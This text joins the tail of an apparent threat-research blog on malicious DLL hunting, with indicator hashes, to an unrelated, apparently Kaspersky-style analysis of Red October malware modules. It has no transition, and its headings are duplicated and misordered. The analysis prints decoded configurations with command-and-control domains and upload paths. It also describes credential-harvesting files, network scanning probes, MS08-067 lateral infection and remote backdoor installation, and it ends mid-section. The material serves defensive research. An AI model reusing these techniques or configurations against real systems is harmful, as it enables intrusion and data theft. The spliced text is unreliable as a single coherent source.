Most detection techniques for blocking malicious DLLs rely on the module's behavior after it has been loaded into memory. This can limit the ability to block all malicious modules. That said, you can proactively hunt for malicious unsigned DLLs using hunting approaches such as the ones presented in this blog. Knowing the baseline of your network in terms of legitimate software or behavior can reduce the number of results generated by the above queries, allowing you to focus on results that might be suspicious. Cortex XDR alerts on and blocks malicious DLLs loaded by known hijacking techniques and can also prevent post-exploitation activities, through the Behavioral Threat Protection and Analytics modules.
Indicators of compromise and TTPs associated with Stately Taurus can be found in the Stately Taurus ATOM. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.
## Indicators of Compromise
| Threat Actor | SHA256 |
|-------------------|-------------------------------------------------------------------------------------------|
| Selective Pisces | 779a6772d4d35e1b0018a03b75cc6f992d79511321def35956f485debedf1493 |
| Selective Pisces | d9b1ad70c0a043d034f8eecd55a8290160227ea66780ccc65d0ffb2ebc2fb787 |
| Selective Pisces | 3131985fa7394fa9dbd9c9b26e15ac478a438a57617f1567dc32c35b388c2f60 |
| Selective Pisces | 5be717dc9eda4df099e090f2a59c25372d6775e7d6551b21f385cf372247c2fd |
| Selective Pisces | 18cc18d02742da3fa88fc8c45fe915d58abb52d3183b270c0f84ae5ff68cf8a2 |
| Selective Pisces | 7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4 |
| Selective Pisces | 79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d |
| Selective Pisces | cf9ccba037f807c5be523528ed25cee7fbe4733ec19189e393d17f92e76ffccc |
| Selective Pisces | 32449fd81cc4f85213ed791478ec941075ff95bb544ba64fa08550dd8af77b69 |
| Selective Pisces | 5a8b1f003ae566a8e443623a18c1f1027ec46463c5c5b413c48d91ca1181dbf7 |
| Selective Pisces | 5bb4950a05a46f7d377a3a8483484222a8ff59eafdf34460c4b1186984354cf9 |
| Stately Taurus | 352fb4985fdd150d251ff9e20ca14023eab4f2888e481cbd8370c4ed40cfbb9a |
| Stately Taurus | 6491c646397025bf02709f1bd3025f1622abdc89b550ac38ce6fac938353b954 |
| Stately Taurus | e8f55d0f327fd1d5f26428b890ef7fe878e135d494acda24ef01c695a2e9136d |
| Raspberry Robin | 06f11ea2d7d566e33ed414993da00ac205793af6851a2d6f809ff845a2b39f57 |
| Raspberry Robin | 202dab603585f600dbd884cb5bd5bf010d66cab9133b323c50b050cc1d6a1795 |
| Raspberry Robin | f9e4627733e034cfc1c589afd2f6558a158a349290c9ea772d338c38d5a02f0e |
| Raspberry Robin | 9fad2f59737721c26fc2a125e18dd67b92493a1220a8bbda91e073c0441437a9 |
| Raspberry Robin | 9973045c0489a0382db84aef6356414ef29814334ecbf6639f55c3bec4f8738f |
|
# Red October: Detailed Malware Description
## Second Stage of Attack
### First Stage of Attack
1. Exploits
2. Dropper
3. Loader Module
4. Main component
### Second Stage of Attack
1. Modules, general overview
2. Recon group
3. Password group
4. Email group
5. USB drive group
6. Keyboard group
7. Persistence group
8. Spreading group
9. Mobile group
10. Exfiltration group
### 7. Persistence Group
**Scheduler module**
Known locations: `%APPDATA%MicrosoftRtkN32Gdi.exe`
The module is created and executed (for the first time) by the module “fileputexec”.
**Known variants:**
| MD5 | Compilation date (encrypted) | Compilation date (payload) |
|---------------------------------------|------------------------------|-----------------------------|
| 43C0BA45BE45CA20ED014A8298104716 | 2012.10.24 13:12:43 (GMT) | 2012.10.11 07:19:12 (GMT) |
**Summary**
The file is a PE EXE file, compiled with Microsoft Visual Studio 2010.
Creates encrypted log files: `%TMP%smrdprevsmrdprev_%p_%p.tmp`, where `%p` parameters are formatted from the return values of subsequent GetTickCount API calls.
Creates event: `Globalwsheledstpknt`
Creates mutex: `NtWinWMIctlshed`
When started, the module initializes its log object with a new filename. Then, it creates one of the following registry values to ensure its automatic start:
- `HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorerRunservise=%path to the module’s executable file%`
- `HKCUSoftwareMicrosoftWindows NTCurrentVersionWindowsload=%path to the module’s executable file%`
Then, the module enters an infinite loop where it executes its main function with a 300-second delay between iterations.
**Main Function**
The module traverses the directories from a hardcoded list, looking for files with names matching regular expressions `.*..*.bak` and `.*..*.trh`. The list of directories includes:
- `%ProgramFiles%Microsoft Common`
- `%ProgramFiles%Common Files`
- `%SystemDrive%Documents and SettingsLocalServiceApplication DataMicrosoft`
- `%SystemDrive%Documents and SettingsLocalServiceLocal SettingsApplication DataMicrosoft`
- `%ALLUSERSPROFILE%`
- `%ALLUSERSPROFILE%Application Data`
- `%ALLUSERSPROFILE%Application DataMicrosoft`
- `%ALLUSERSPROFILE%Application DataMicrosoftOffice`
- `%ALLUSERSPROFILE%Application DataMicrosoftOfficeData`
- `%ALLUSERSPROFILE%Application DataMicrosoftWindows`
- `%windir%Installer`
- `%windir%HelpToursmmTour`
- `%windir%HelpTourshtmTour`
- `%windir%HelpToursWindowsMediaPlayer`
- `%windir%IME`
- `%windir%MsApps`
- `%windir%MsAppsMsInfo`
- `%windir%inf`
- `%HOMEPATH%Local Settings`
- `%APPDATA%`
- `%APPDATA%MicrosoftOffice`
- `%APPDATA%MicrosoftOfficeData`
- `%APPDATA%MicrosoftWindows`
- `%windir%Temp`
- `%TMP%`
- `%module’s installation directory%`
Any found file with the extension `.trh` is deleted.
Files with the extension `.bak` are treated differently. They are decrypted using a custom AMPRNG algorithm with a hardcoded key, then decompressed using LZMA. If the file was decompressed without errors, it is expected to start with a header that describes an internal task.
Each task has a name and a “type” field. Depending on that field, the module treats the contents of the decrypted file differently:
| Task Type | Task Action |
|-----------|-------------|
| 1 | The task is a PE EXE file. It is written to a temporary file `%TMP%%number%.exe` and executed with CreateProcess API. The file is removed when the process terminates. |
| 3 | The task is a PE DLL file. It is loaded in memory with a custom PE loader. Then, its export named `START` is called. |
| 4 | The task is a new version of the ‘scheduler’ module. The original module is moved to a file with extension `.trh` and deleted, the task’s contents are written instead. |
Known variants of the “.bak” task files were created by the “fileputexec” module. They all contained a task named “fileinfo”.
### DocBackdoor (Acrobat Reader and Microsoft Office Plugin) Module
**Known file locations:** Add-on directories of Acrobat Reader or Microsoft Office, depending on installation settings.
**Known variants:**
| MD5 | Compilation date (payload) |
|---------------------------------------|------------------------------|
| 1294af519b9e6a521294607c8c1b3d27 | 2012.05.14 08:49:35 (GMT) |
**Summary**
The file is a PE DLL file with 1 exported function, compiled with Microsoft Visual Studio 2010.
The malware contains a universal plugin for Acrobat Reader and Microsoft Office applications. The plugin does not depend on the application so it could have been used with other applications, too.
**Export(s):** `winampGetGeneralPurposePlugin`
All the functionality is implemented in the DllMain function.
**DllMain Function**
When loaded, the module starts a new thread and returns. In the new thread, the module executes its main function in an infinite loop, with a 1-second delay.
**Main Function**
The module iterates through file handle values from 0 to 65534 with step 4, and tries to get file size for every handle. If the call to GetFileSize succeeds, the module assumes that it found a valid file handle, and proceeds with this file. The file handle may belong to any file that is currently open by the application, including any open documents (i.e., PDF, DOC, XLS, PPT files).
The module retrieves the name of the file, reads the whole file into memory, and checks its last DWORD. If the value is not equal to the magic number `0x29A` (666 decimal), it skips this file. If the DWORD matches the magic value, it reads more values from the end of the file.
| Offset from the end of file | Type | Description |
|-----------------------------|-------|-------------|
| -4 | DWORD | Magic number `0x29A` |
| -5 | BYTE | Operation mode byte |
| -9 | DWORD | Payload length |
| -9 – Payload length | BYTE* | Encrypted payload |
If the operation mode byte is equal to 3, the module loads the decrypted payload as a PE DLL library using its own PE format loader, and executes its DllMain function. If the operation mode byte contains any other value, it tries to write the payload to the first available directory from the list:
- `%windir%Temp`
- `%TMP%`
- `%TEMP%`
- `%ProgramFiles%Common Files`
- `%ProgramFiles%WindowsUpdate`
The name of the file is read from the beginning of the decrypted payload.
Then, the module selects further actions depending on the operation mode byte:
| Operation Mode Byte Value | Action |
|---------------------------|--------|
| 1 | Execute the file with CreateProcess |
| 2 | Load the file with LoadLibrary |
### OfficeBDInstaller Module (Microsoft Office Plugin Installer)
**Known variants:**
| MD5 | Compilation date (payload) |
|---------------------------------------|------------------------------|
| AE693C43E40F0DE9DE9FA2D950003ABF | 2012.10.09 06:42:11 (GMT) |
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010.
All the functionality is implemented in the DllMain function.
**DllMain**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The main function of the module is named “task_msplugin” and is registered in the framework. Then, it starts the framework main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
```
SetOption(conn_a.VERSION_ID, [6] “51070”)
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.SEND_DELAY_TIME, [5] “2000”)
SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_MODE, “3”)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] %removed%)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_USER, [21] %removed%)
SetOption(msplugin_loc, 76288 bytes buffer)
SetOption(msplugin_name, 28 bytes buffer)
SetOption(msplugin_Word, “1”)
SetOption(msplugin_Excel, “0”)
SetOption(msplugin_PowerPoint, “0”)
SetOption(msplugin_desc0, 38 bytes buffer)
SetOption(msplugin_desc1, 58 bytes buffer)
SetOption(msplugin_desc2, 64 bytes buffer)
SetOption(msplugin_progid, 22 bytes buffer)
Call(task_msplugin)
```
**Main Function (task_msplugin)**
First, the module tries to raise its privileges. It tries to log in as a privileged user using a dictionary of common passwords. Then, it tries to locate the installed Microsoft Office application by enumerating the registry keys in `HKLMSOFTWAREMicrosoftWindowsCurrentVersionUninstall` and searching for the keys that contain “Microsoft Office”, “Microsoft Office Word”, “Microsoft Office Shared” in the “DisplayName” value. If no key was found, the module aborts installation.
Then, depending on the values of the options “msplugin_Word”, “msplugin_Excel”, “msplugin_PowerPoint”, it installs a plugin for selected Office applications. For each application, it tries to write the plugin to the first available directory from the list:
- `%ProgramFiles%Microsoft OfficeOffice10Data`
- `%ProgramFiles%Microsoft OfficeOffice10`
- `%ProgramFiles%Microsoft OfficeOffice11Data`
- `%ProgramFiles%Microsoft OfficeOffice11`
- `%ProgramFiles%Microsoft OfficeOffice12Data`
- `%ProgramFiles%Microsoft OfficeOffice12`
- `%ALLUSERSPROFILE%Application DataMicrosoftOffice`
- `%ALLUSERSPROFILE%Application DataMicrosoftOfficeData`
- `%APPDATA%MicrosoftOfficeData`
- `%APPDATA%MicrosoftOffice`
- `%APPDATA%MicrosoftWindows`
- `%ProgramFiles%Microsoft Common`
- `%ProgramFiles%Common Files`
The file name for the plugin is retrieved from the “msplugin_name” option from the resource. It also generates a random CLSID value for the plugin.
### AdobeBDInstaller Module (Adobe Reader Plugin Installer)
**Known variants:**
| MD5 | Compilation date (payload) |
|---------------------------------------|------------------------------|
| 09fd8e1f2936a97df477a5e8552fe360 | 2012.10.05 11:20:40 (GMT) |
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010.
All the functionality is implemented in the DllMain function.
**DllMain Function**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The main function of the module is named “task_arplugin” and is registered in the framework. Then, it starts the framework main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
```
SetOption(conn_a.VERSION_ID, [6] “51070”)
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.SEND_DELAY_TIME, [5] “2000”)
SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] %removed%)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_USER, [21] %removed%)
SetOption(arplugin_loc, 76288 bytes buffer)
SetOption(arplugin_name, 28 bytes buffer)
Call(task_arplugin)
```
**Main Function (task_arplugin)**
The module retrieves the Adobe Reader installation path by reading the registry value: `HKLMSOFTWAREClassesSoftwareAdobeAcrobatExe@default`. Then, it tries to identify the version of installed software by searching for strings “10.0”, “9.0”, “8.0” in the installation path. If none of them are found, it aborts installation with an error.
If the installation path contains the string “10.0”, the module tries to open the existing registry key: `HKCUSOFTWAREAdobeAcrobat Reader10.0`. If the key exists, then writes “Privileged=’ON'” into its log and sets the following registry key, effectively disabling the “protected mode” of the Adobe Reader: `HKCUSOFTWAREAdobeAcrobat Reader10.0PrivilegedbProtectedMode=0`.
Then, the module extracts the Acrobat Reader plugin body from the configuration option “arplugin_loc” (specified in the resource) and writes it to: `%acrobat reader installation path%plug_ins%arplugin_rem option value%`. It also retrieves the last write time of the plug_ins directory and sets the plugin’s last write time to the same value.
After completing the installation, the module sends its log file to the C&C server. The connection options are retrieved from the configuration (resource):
| Option Name | Description |
|-------------|-------------|
| D_CONN | List of C&C domain names, separated by ‘;’ |
| D_RPRT | C&C server port |
| D_NAME | Relative URL to send request to |
The data sent to the C&C server is compressed with Zlib and encrypted with a modified PKZIP stream cipher, and then it is Base64-encoded.
### 8. Spreading Group
**Fileputexec Module**
**Known variants:**
| MD5 | Compilation date (payload) |
|---------------------------------------|------------------------------|
| 6FE7EB4E59448E197BDFAE87247F3AE6 | 2012.09.06 07:55:31 (GMT) |
| ED5FF814B10ED25946623A7EC2C0A682 | 2012.09.06 07:55:31 (GMT) |
| 37B443893551C1537D00FD247E3C9A78 | 2012.09.06 07:55:31 (GMT) |
**Summary**
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. Known samples share one code section but contain different payloads in the resource section. All the functionality is implemented in the DllMain function. It writes files from its configuration resource to disk and starts a new process from these file(s).
**DllMain**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The main function of the module is named “task_fileputexec” and is registered in the framework. Then, it starts the framework main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the module can be represented as the following script:
```
SetOption(conn_a.VERSION_ID, [6] “51070”)
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.SEND_DELAY_TIME, [5] “2000”)
SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] %removed%)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_USER, [21] %removed%)
SetOption(file_loc)
SetOption(file_rem)
SetOption(file_exec_rem)
SetOption(file_loc, 156898 bytes buffer)
SetOption(file_rem, 100 bytes buffer)
Call(task_fileputexec)
```
**Main Function (task_fileputexec)**
The module implements two distinct functions:
- It writes files from its configuration resource to disk.
- It starts executable files specified in the resource.
First, the module looks for pairs of configuration options called “file_rem” and “file_loc”. The module iterates through all “file_rem” options, reads the corresponding “file_loc” value, and writes the contents of the latter option to disk, using the value of “file_rem” as a filename. The “file_rem” value can specify a location at another computer’s network share. In this case, the module tries to log onto that share using credentials specified in an encrypted configuration file that may be located at:
- `%ALLUSERSPROFILE%adt.dat`
- `%LOCALAPPDATA%adt.dat`
Known variants of the module were used to write another module called “scheduler” and additional files for this module. After processing all “file_rem” and “file_loc” options, the module iterates through all values of the “file_exec_rem” option. Each value is expected to be an application's path, and each application is executed using the CreateProcess API function.
After processing all the configuration options, the module sends its log file to the C&C server. The connection options are retrieved from the configuration (resource):
| Option Name | Description |
|-------------|-------------|
| D_CONN | List of C&C domain names, separated by ‘;’ |
| D_RPRT | C&C server port |
| D_NAME | Relative URL to send request to |
The data sent to the C&C server is compressed with Zlib and encrypted with a modified PKZIP stream cipher, and then it is Base64-encoded.
### Netscan Module
**Known variants:**
| MD5 | Compilation date |
|---------------------------------------|------------------------------|
| 06ebdde6a600a65e9e65ba7c63f139fa | 2012.09.05 07:02:28 (GMT) |
| b49232652748ab677a944bd4d4650603 | 2012.09.05 07:02:28 (GMT) |
**Summary**
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. All the functionality is implemented in the DllMain function. Once it is loaded, it was designed to start scanning other hosts in the network and record responses. It would do several probes for remote vulnerabilities, such as MS08-067. It is capable of dumping the current configuration of Cisco routers if they are available via SNMP and the scanner successfully guessed the SNMP community name.
This module loads a config from local resource AAA and executes a network scanning task.
**Loading Procedure**
Due to a design made by the developer, usage of this module is limited. It seems that it was developed and tested as an EXE file; however, in the release version, it was compiled as a DLL. This change was extremely significant for the whole functionality, which creates a number of worker threads right in the main function, which would be fine for EXE module WinMain function, but is restricted for library DllMain function. This broke down the module as it created threads that couldn’t run when the DLL is loaded via LoadLibrary API. However, it’s important to note that the developers implemented their own PE loader, which doesn’t have such limitation as the Windows native PE loader, and which is why it can still be used as a component of a malicious kit.
**DllMain Function**
Current sample has the following embedded config:
```
SetOption(conn_a.D_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.D_NAME, [15] “/cgi-bin/nt/sk”)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] “%removed%”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.J_CONN, [65] “nt-windows-online.com;nt-windows-update.com;nt-windows-check.com”)
SetOption(conn_a.J_NAME, [15] “/cgi-bin/nt/th”)
SetOption(conn_a.J_USER, [21] “%removed%”)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.VERSION_ID, [6] “51070”)
SetOption(conn_a.SEND_DELAY_TIME, [6] “20000”)
SetOption(conn_a.VER_SESSION_ID, [11] “%removed%”)
SetOption(NET, [26] “127.0.0.1 255.255.255.255”)
SetOption(netscan_get_NET, “1”)
SetOption(netscan_get_net_ad, “1”)
SetOption(netscan_get_net_msnet, “1”)
SetOption(netscan_get_net_msdom, “1”)
SetOption(netscan_threads_num, [3] “64”)
SetOption(netscan_tcpscanwinsrv, “1”)
SetOption(netscan_tcpscanwin, “0”)
SetOption(netscan_tcpscannotwin, “0”)
Call(task_netscan)
```
The target networks to scan are selected automatically and include the following lists:
1. Specified in the config NET variable if netscan_get_NET is set to 1
2. Subnets of IPs which are visible from adapters config via GetAdaptersInfo API (current IP, gateway, DHCP, WINS servers)
3. Subnets of IPs which are visible in the list of currently mapped shared folders
4. Subnets of IPs which are part of the current Microsoft Windows domain as reported by the Domain Controller
**Scanning Procedure**
The scan begins with pinging the target with a 2-second timeout. Then the scanner gets the target hostname and MAC address. After that, it tries to send an SNMPv3 request. Unlike SNMPv2, SNMPv3 responds even if the username is wrong, allowing you to identify if the port is open or not. If the remote SNMP agent responds, then the scanner will try to talk further.
The scanner fetches the SNMP agent SysName property and checks if the property is readonly or write-access is available. Then it fetches the SNMP SysDescription property. When the module finds a Cisco SNMP agent, it starts its own TFTP server and transfers the Cisco device configuration via TFTP.
Next, it checks the host for SIP service. That is accomplished by sending an OPTIONS request to the remote host on port 5060 from a hardcoded source port 11122:
```
OPTIONS sip:smap@localhost SIP/2.0
Via: SIP/2.0/UDP %Local IP%:11122;branch=z9hG4bK.51125;rport;alias
From: ;tag=3a539be23b6269ec
To: sip:IPPhone@localhost
Call-ID: 1638708638@%Local IP%
CSeq: 3471 OPTIONS
Contact:
Content-Length: 0
Max-Forwards: 70
User-Agent: IPPhone 0.67
Accept: text/plain
```
The module simply saves the SIP server response to a log file and goes to the next stage. Next, it tries to work with the NetBIOS (SMB) protocol of the remote target. The code includes a full own implementation of the protocol negotiation and communication with the remote host. The module establishes an SMB NULL session, which doesn’t require authentication and sends further queries.
The scanning module connects to the LLSRPC pipe, which used to be available via SMB NULL session on Windows 2000 before SP4. If the attacker connects to a Microsoft Windows 2000 Server-based system through a null session, it is possible to use the Llsrpc named pipe to add or delete licenses and create new license groups. However, the availability of the LLSRPC pipe is checked only to detect the remote OS Service Pack version. There are a few other methods in the code that provide reliable detection of Service Pack 1, 2, 3 of Windows 2000.
Next step is to detect the remote OS default language. That is accomplished by connecting to the Spoolss pipe and querying the name of the service. The response is normally sent in the system default language, which is detected by the module. Here is a list of languages, which might indicate which systems attackers are interested in (hardcoded in the malware):
- UNKNOWN
- English
- Spanish
- Italian
- French
- German
- Portuguese – Brazilian
- Portuguese
- Hungarian
- Finnish
- Dutch
- Danish
- Swedish
- Polish
- Czech
- Turkish
- Japanese
- Chinese Traditional
- Chinese Traditional – Taiwan
- Korean
- Russian
So far, the module collects the following information over SMB:
- Target Name
- NetBIOS Domain Name
- NetBIOS Computer Name
- DNS Domain Name
- DNS Computer Name
- Language
- Service Pack
- OS Version
- OS Major Version Number
- OS Minor Version Number
- OS Build
- OS Language ID
- OS Version (alternative detection method)
- OS Language (alternative detection method)
The module has another unique feature; it checks if the system is vulnerable to the MS08-067 vulnerability. It creates a path, part of which includes a unique string “..spider3” which we haven’t seen previously. The module is capable of constructing TCP bind shellcode for different versions of the remote OS to check if the exploit works.
There is a port scanner in the module, and it checks ports from the embedded list:
```
22, 23, 53, 80, 110, 143, 156, 456, 912, 990, 993, 995, 1043, 1194, 1352, 1433, 2481, 3306, 5432, 8080, 8800
```
While most of the ports look standard, some of them are not very common. We decided to investigate which services are running on those ports:
- 156 is some SQL Server port, however we don’t know any software running on port 156
- 456 is probably a typo of 465 – SMTP over SSL
- 912 is for VMware Authorization Service
- 990 is used by FTPS
- 995 is for POP3S
- 1043 can be used by BOINC software or Microsoft IIS
- 1194 is a standard port for OpenVPN
- 1352 Lotus Notes/Domino RPC
- 1433 MS SQL Server
- 2481 Oracle Server
- 3306 MySQL Server
- 5432 PostgreSQL
- 8080 HTTP (alternate)
- 8800 HTTP (SunWebAdmin)
If ports 80 or 8080 are open, then the module sends a simple HTTP request to test if the remote web server is available and if it is running MS Exchange server. MS Exchange is probed with the following HTTP request:
```
GET /ews/exchange.asmx HTTP/1.0
```
Collected information and logs are never saved to a file on disk; instead, it is compressed using the Zlib compress2 method and uploaded to the server.
### MSExploit Module
**Known variants:**
| MD5 | Compilation date |
|---------------------------------------|------------------------------|
| 51900a2bb1202225aabc2ee5a64dbe42 | 2012.06.26 15:11:48 (GMT) |
**Summary**
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. All the functionality is implemented in the DllMain function. This module is used to infect other computers in the local area network by using an old exploit for the vulnerability referred to as MS08-067. It checks the remote OS version, locale, SP version, crafts a packet with exploit code, and pushes it to the target. It injects an executable payload, which drops another module known as “Frog” (full description of Frog is available in a separate chapter). The latter is a backdoor component that provides the capability to run arbitrary executables on the remote target.
**DllMain Function**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The main function of the module is named “task_msexploit” and is registered in the framework. Then, it starts the framework main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
```
SetOption(conn_a.VERSION_ID, [6] “11997”)
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.SEND_DELAY_TIME, [5] “2000”)
SetOption(conn_a.D_CONN, [60] “microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_NAME, [18] “/cgi-bin/ms/flush”)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] “%removed%”)
SetOption(conn_a.J_CONN, [60] “microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_NAME, [18] “/cgi-bin/ms/check”)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_USER, [21] “%removed%”)
SetOption(msexploit_loc, 147456 bytes PE file)
SetOption(msexploit_ip)
SetOption(msexploit_ip, [16] “%Target IP%”)
Call(task_msexploit)
```
**Main Function (task_msexploit)**
The config defines parameters for the method task_msexploit, which includes the following:
- `msexploit_loc` – a payload to be pushed if the exploit worked successfully;
- `msexploit_ip` – an array of IPs to attack.
Then the module gets local proxy settings, starting from MS Internet Explorer settings, then parsing Opera profile files (if exist) and finally getting proxy settings from quite suspicious registry keys:
- `HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKLMSoftwareMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKCUSoftwareWow6432NodeMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
- `HKLMSoftwareWow6432NodeMicrosoftWindowsCurrentVersionExplorerAdvancedMapMenuConfigGrps`
It seems that the MapMenuConfigGrps registry value doesn’t exist on a standard Windows system. We suspect that this registry key is set by a malicious module during operation and is used to store proxy server parameters.
After that, the module attempts to find `%AppData%adt.dat`. Two variants are checked – common and user-specific:
- `C:Documents and SettingsAll UsersApplication Data`
- `C:Documents and SettingsusernameApplication Data`
The “adt.dat” file is an encrypted INI-file of known credentials of users in the current domain and attacked organization. When decrypted, this file looks like this:
```
[user] login = “%User1%”
domain = “%Domain%”
password = “%Password2%”
admin = “1”
[user] login = “%User2%”
domain = “%Domain%”
password = “%Password2%”
admin = “1”
```
This information is checked against the local domain controller to find active users with Admin privileges. The verified account is used for optional functionality to establish a NetBIOS connection with the remote host to change the remote registry. However, the only setting that is changed is the MapMenuConfigGrps value mentioned above. It is set to local parameters of the system proxy server which were acquired before.
### DASvcInstall Module
**Known variants:**
| MD5 | Compilation date |
|---------------------------------------|------------------------------|
| 7ade5d2a88c1eeefe47b501b19c383ef | 2012.06.26 15:11:34 (GMT) |
**Summary**
The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. All the functionality is implemented in the DllMain function. This module is used to infect other computers in the local area network by another module known as “Frog” (full description of Frog is available in a separate chapter), which is embedded in the current executable. The latter is a backdoor component that provides the capability to run arbitrary executables on the remote target. To infect other computers, the current module uses the adt.dat password database file. This contains credentials of administrator accounts. The credentials are used to access the system administrative share and remotely install the backdoor as a service.
**DllMain Function**
When loaded, the module retrieves its resource of type “BBB” and name “AAA”, and starts an internal plugin framework. The main function of the module is named “task_da_svcinstall” and is registered in the framework. Then, it starts the framework main loop, effectively parsing the resource data and executing the list of actions encoded in the resource.
The decoded resource data for the known sample can be represented as the following script:
```
SetOption(conn_a.VERSION_ID, [6] “11997”)
SetOption(conn_a.VER_SESSION_ID, %removed%)
SetOption(conn_a.SEND_DELAY_TIME, [5] “2000”)
SetOption(conn_a.D_CONN, [60] “microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com”)
SetOption(conn_a.D_MODE, 0x0033)
SetOption(conn_a.D_NAME, [18] “/cgi-bin/ms/flush”)
SetOption(conn_a.D_PASS, 0x00)
SetOption(conn_a.D_RPRT, [3] “80”)
SetOption(conn_a.D_SPRT, [3] “80”)
SetOption(conn_a.D_USER, [21] “%removed%”)
SetOption(conn_a.J_CONN, [60] “microsoftosupdate.com;microsoft-msdn.com;microsoftcheck.com”)
SetOption(conn_a.J_MODE, 0x0033)
SetOption(conn_a.J_NAME, [18] “/cgi-bin/ms/check”)
SetOption(conn_a.J_PASS, 0x00)
SetOption(conn_a.J_RPRT, [3] “80”)
SetOption(conn_a.J_SPRT, [3] “80”)
SetOption(conn_a.J_USER, [21] “%removed%”)
SetOption(da_svc_exe_loc, 103424 bytes of Frog backdoor)
SetOption(da_svc_exe_name, “testsvc_00.exe”)
SetOption(da_svc_name, “testsvc_00_name”)
SetOption(da_svc_send_proxy, 0x0079)
SetOption(da_svc_host)
SetOption(da_svc_host, [15] “%Target1_IP%”)
SetOption(da_svc_host, [14] “%Target2_Hostname%”)
SetOption(da_svc_host, [16] “%Target3_IP%”)
Call(task_da_svcinstall)
```
**Main Function (task_da_svcinstall)**
